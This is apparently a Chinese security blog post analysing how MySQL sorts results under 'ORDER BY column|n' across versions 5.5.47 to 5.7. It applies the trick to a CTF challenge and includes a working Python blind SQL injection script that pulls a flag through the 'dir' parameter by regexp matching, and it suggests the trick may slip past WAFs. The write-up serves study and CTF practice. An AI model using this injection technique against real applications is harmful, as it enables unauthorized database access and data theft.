当order by遇上|

发表于

当order by 遇上|

昨天和Thinking师傅研究了一下order by配合|时的比较有趣的现象，说不定这个特性在某些情况下能够过滤WAF。

说明

测试的数据库版本是5.5.53。测试的表的结构和数据如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CREATE TABLE users
(
  id       INT AUTO_INCREMENT,
  username VARCHAR(255) NULL,
  password VARCHAR(255) NULL,
  nick     INT          NULL,
  CONSTRAINT users_id_uindex
  UNIQUE (id)
);

INSERT INTO test.users (username, password, nick) VALUES ('admin', '195f19b835efe9f0b7b4e276ef1a8515', null);
INSERT INTO test.users (username, password, nick) VALUES ('tom', '34b7da764b21d298ef307d04d8152dc5', null);
INSERT INTO test.users (username, password, nick) VALUES ('jerry', '30035607ee5bb378c71ab434a6d05410', null);
INSERT INTO test.users (username, password, nick) VALUES ('tomcat', '1b359d8753858b55befa0441067aaed3', null);
INSERT INTO test.users (username, password, nick) VALUES ('bob', '9f9d51bc70ef21ca5c14f307980a29d8', null);
INSERT INTO test.users (username, password, nick) VALUES ('Adele', '1679091c5a880faf6fb5e6087eb1b2dc', null);
INSERT INTO test.users (username, password, nick) VALUES ('alex', '534b44a19bf18d20b71ecc4eb77c572f', null);
INSERT INTO test.users (username, password, nick) VALUES ('a', 'aaaa', null);
INSERT INTO test.users (username, password, nick) VALUES ('b', 'bbbb', null);
INSERT INTO test.users (username, password, nick) VALUES ('c', 'cccc', null);

order by 和 |

搞清楚了|含义之后，再看看order by与|的用法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# order by 排序
mysql> select * from users order by id;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)

# order by和|
mysql> select * from users order by id|2;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
| 10 | c        | cccc                             | NULL |
|  9 | b        | bbbb                             | NULL |
+----+----------+----------------------------------+------+

可以看到使用id|2之后部分顺序发生了改变。那么这个改变的依据又是什么呢？
根据上一节的|的含义最终得到的结果，我们猜测可能是mysql查询到结果之后，取出其中的id字段的结果与2进行或操作(或操作得到的结果在上一节已经说明了)最后按照或操作之后的结果升序排列。
如果我们使用id|7或者是id|15这样的操作呢,此时得到的结果都是111或者是1111。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mysql> select * from users order by id|7;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)

mysql> select * from users order by id|15;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)

可以看到顺序没有变化。那么猜测，如果当或操作之后的结果是相同时，就保持之前的排序不变。在上面的例子中8|2和10|2的结果都是10，按照之前的排序，所以8在10前面。

SQL注入？

这种特性能够用在SQL注入中吗？
看一道这样的题目，http://chall.tasteless.eu/level1/index.php?dir=asc，有10条结果是顺序显示的。如果是http://chall.tasteless.eu/level1/index.php?dir=desc就变成了倒序。如果是这样http://chall.tasteless.eu/level1/index.php?dir=|2,显示的顺序是2 1 3 4 6 5 7 8 10 9。那么说明可能后台的SQL语句的写法是select * from contents order by id $dir。
经过测试，题目过滤了基于报错的盲注和基于时间的盲注。那么就可以利用页面返回的这种顺序关系作为判断的依据了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib
import requests
result_string="^"
right_url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
    for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
        if(letter=='?'):
            exit()
        result_string_tem=result_string+letter
        url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
        print(url)
        content=requests.get(url).content
        if(content!=ordered_content):
            result_string=result_string_tem
            print(result_string)
            break
        continue

当然这道题目除了这种方法之外还有其他的解法。

MISC

以上的测试在5.5.53、5.6以及5.7上面都没有什么问题。但是当时和Thinking师傅讨论的时候，他的版本是5.5.47，就会出现如下的情况：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mysql> select * from users order by id|7;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)

mysql> select * from users order by id|15;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  9 | b        | bbbb                             | NULL |
|  8 | a        | aaaa                             | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set (0.00 sec)

在5.5.47上面表现出来的行为与5.5.53上面不一样，所以之前的结论在5.5.47上面不成立。(关于这个现象，希望有师傅可以解答一下)
虽然在不同MySQL版本中或操作之后的排序行为不一样，但是在SQL注入过程中，我们需要利用排序结果不同即可。

其他

上面的讨论中id的结果都是数字，那么如果order by 字符|2这种又是什么结果呢？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select 'a'|1,'a'|2,'a'|3,'a'|4,'a'|5,'a'|6,'a'|7,'a'|8,'a'|9,'a'|10;
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
| 'a'|1 | 'a'|2 | 'a'|3 | 'a'|4 | 'a'|5 | 'a'|6 | 'a'|7 | 'a'|8 | 'a'|9 | 'a'|10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
|     1 |     2 |     3 |     4 |     5 |     6 |     7 |     8 |     9 |     10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
1 row in set, 10 warnings (0.00 sec)

mysql> select 'Aa'|1,'Aa'|2,'Aa'|3,'Aa'|4,'Aa'|5,'Aa'|6,'Aa'|7,'Aa'|8,'Aa'|9,'Aa'|10;
+--------+--------+--------+--------+--------+--------+--------+--------+--------+---------+
| 'Aa'|1 | 'Aa'|2 | 'Aa'|3 | 'Aa'|4 | 'Aa'|5 | 'Aa'|6 | 'Aa'|7 | 'Aa'|8 | 'Aa'|9 | 'Aa'|10 |
+--------+--------+--------+--------+--------+--------+--------+--------+--------+---------+
|      1 |      2 |      3 |      4 |      5 |      6 |      7 |      8 |      9 |      10 |
+--------+--------+--------+--------+--------+--------+--------+--------+--------+---------+
1 row in set, 10 warnings (0.00 sec)

可以发现并没有什么变化。
如果进一步分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select 'a2A'|1,'a2A'|2,'a2A'|3,'a2A'|4,'a2A'|5,'a2A'|6,'a2A'|7,'a2A'|8,'a2A'|9,'a2A'|10;
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
| 'a2A'|1 | 'a2A'|2 | 'a2A'|3 | 'a2A'|4 | 'a2A'|5 | 'a2A'|6 | 'a2A'|7 | 'a2A'|8 | 'a2A'|9 | 'a2A'|10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
|       1 |       2 |       3 |       4 |       5 |       6 |       7 |       8 |       9 |       10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
1 row in set, 10 warnings (0.00 sec)

mysql> select '2Aa'|1,'2Aa'|2,'2Aa'|3,'2Aa'|4,'2Aa'|5,'2Aa'|6,'2Aa'|7,'2Aa'|8,'2Aa'|9,'2Aa'|10;
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
| '2Aa'|1 | '2Aa'|2 | '2Aa'|3 | '2Aa'|4 | '2Aa'|5 | '2Aa'|6 | '2Aa'|7 | '2Aa'|8 | '2Aa'|9 | '2Aa'|10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
|       3 |       2 |       3 |       6 |       7 |       6 |       7 |      10 |      11 |       10 |
+---------+---------+---------+---------+---------+---------+---------+---------+---------+----------+
1 row in set, 10 warnings (0.00 sec)

mysql> select '2'|1,'2'|2,'2'|3,'2'|4,'2'|5,'2'|6,'2'|7,'2'|8,'2'|9,'2'|10;
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
| '2'|1 | '2'|2 | '2'|3 | '2'|4 | '2'|5 | '2'|6 | '2'|7 | '2'|8 | '2'|9 | '2'|10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
|     3 |     2 |     3 |     6 |     7 |     6 |     7 |    10 |    11 |     10 |
+-------+-------+-------+-------+-------+-------+-------+-------+-------+--------+
1 row in set (0.00 sec)

mysql> select 2|1,2|2,2|3,2|4,2|5,2|6,2|7,2|8,2|9,2|10;
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
| 2|1 | 2|2 | 2|3 | 2|4 | 2|5 | 2|6 | 2|7 | 2|8 | 2|9 | 2|10 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
|   3 |   2 |   3 |   6 |   7 |   6 |   7 |  10 |  11 |   10 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+------+
1 row in set (0.00 sec)

说明在字符|数字的操作中，会将字符转换为数字。转换的方法就是类似^\d.这种方式匹配，如果无法匹配则返回0。
最后我们使用users表来进行实验：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> SELECT * from users order by username|2;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  8 | a        | aaaa                             | NULL |
|  9 | b        | bbbb                             | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set, 10 warnings (0.00 sec)

username|2得到的结果都是2，所以就按照之前的顺序排列。

但是在mysql5.5.47上面依旧出现了比较迷的情况：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> SELECT * from users order by username|2;
+----+----------+----------------------------------+------+
| id | username | password                         | nick |
+----+----------+----------------------------------+------+
|  1 | admin    | 195f19b835efe9f0b7b4e276ef1a8515 | NULL |
|  9 | b        | bbbb                             | NULL |
|  8 | a        | aaaa                             | NULL |
|  7 | alex     | 534b44a19bf18d20b71ecc4eb77c572f | NULL |
|  6 | Adele    | 1679091c5a880faf6fb5e6087eb1b2dc | NULL |
|  5 | bob      | 9f9d51bc70ef21ca5c14f307980a29d8 | NULL |
|  4 | tomcat   | 1b359d8753858b55befa0441067aaed3 | NULL |
|  3 | jerry    | 30035607ee5bb378c71ab434a6d05410 | NULL |
|  2 | tom      | 34b7da764b21d298ef307d04d8152dc5 | NULL |
| 10 | c        | cccc                             | NULL |
+----+----------+----------------------------------+------+
10 rows in set, 10 warnings (0.00 sec)

总结

在使用order by id|2这种方式排序时，首先会mysql会取得所有的结果，然后id分别与2进行或运算，按照运算得到的结果升序排列。如果是order by username|2这种方式，首先会mysql会取得所有的结果，然后username分别与2进行或运算，运算过程中会将username转换成数字进行运算，最后按照运算得到的结果升序排列,以上的结论只对5.5.53之后的版本适用。

以上。

参考

【技术分享】SQL注入的一些技巧分享